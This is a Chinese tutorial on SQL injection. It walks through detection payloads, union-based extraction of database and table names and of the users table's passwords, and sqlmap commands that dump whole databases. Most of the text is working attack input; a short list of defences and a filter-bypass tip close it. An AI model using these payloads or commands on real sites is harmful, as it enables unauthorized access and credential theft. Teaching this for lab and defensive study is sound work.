SQL注入也称SQL注码,是发生于应用程序与数据库层的安全漏洞。在输入的字符串中注入SQL指令,如果出现忽略了字符检查,那么就会发生SQL注入漏洞,恶意指令就会被当成正常的SQL指令运行。
成因分析:用户进行查询数据等操作时(比如查找电影名称),如果输入的不是正常查询字词而是SQL语句,导致原有的SQL语句发生改变,且程序没有对输入内容作出限制,那么就会导致漏洞产生。
初步尝试:
一般输入SQL关键字拼接语句内容来进行检查。
攻击手段:
1.检测是否有SQL注入漏洞
输入:查询内容’ and 1=1#
在原有查询结束后会执行判断1=1,如果判断正确才会有输出
#作用是移除(注释)后续SQL语句
输入:查询内容’ and 1=2#
两次尝试,1=1正常输出,1=2错误输出,证明SQL语句生效,存在SQL注入漏洞。
2.利用sql注入漏洞
判断列/字段数:order by
输入:查询内容’ order by 1#
如果正常输出,则说明数据库至少有一列
再次输入 ’ order by 2# …直到没有正常输出
可知数据库有多少列
联合查询其他信息:union select [sql1] [sql2]
输入:查询内容’ union select user(),database()#
user():返回当前数据库连接用户
database():返回当前数据库名称
联合查询表:
输入:查询内容’ union select table_name,table_schema from information_schema.tables where table_schema = ‘数据库名称’#
可以获取数据库所有表的名字
读取所需表的内容:
输入:查询内容’ union select user,password from users#
可以查询users表的用户名和密码
在网上获取SQLmap工具,访问官网sqlmap.org
在命令行窗口使用,cd到相应文件夹中,如何输入python sqlmap.py执行。
检测漏洞:
python sqlmap.py -u “网址” --cookie=“F12->点击网络->刷新->查找cookie”
获取所有数据库名:
python sqlmap.py -u “ 网址” --cookie=“” --dbs
dbs :database server
获取指定数据库的所有表名:
python sqlmap.py -u “ 网址” --cookie=“” -D 数据库名 --tables
获取指定数据库列/表项:
python sqlmap.py -u “ 网址” --cookie=“” -D 数据库名 -T 表名 --columns
-D :指定获取的数据库名
-T :指定获取表名
–columns: 列出表项/列
获取数据:
python sqlmap.py -u “ 网址” --cookie=“” -D 数据库名 -T 表名 --dump
–dump: 读取数据
过滤用户输入内容,不让输入sql语句。
将特殊符号替换成空,或者判断用户输入SQL语句就终止执行。
将特殊符号前面都加一个/,使SQL语句失效。
在原有SQL语句最后添加限制,如LIMIT 1。
做SQL预处理PDO:配合正确的过滤和SQL语句能避免SQL注入。
不输入特殊字符
比如一个数据库名为 dvwa
可以将’dvwa’ 换成database() 或十六进制
例子:查询内容’ union select table_name,table_schema from information_schema.tables where table_schema = ‘数据库名称’#
改为:查询内容 union select table_name,table_schema from information_schema.tables where table_schema = database()#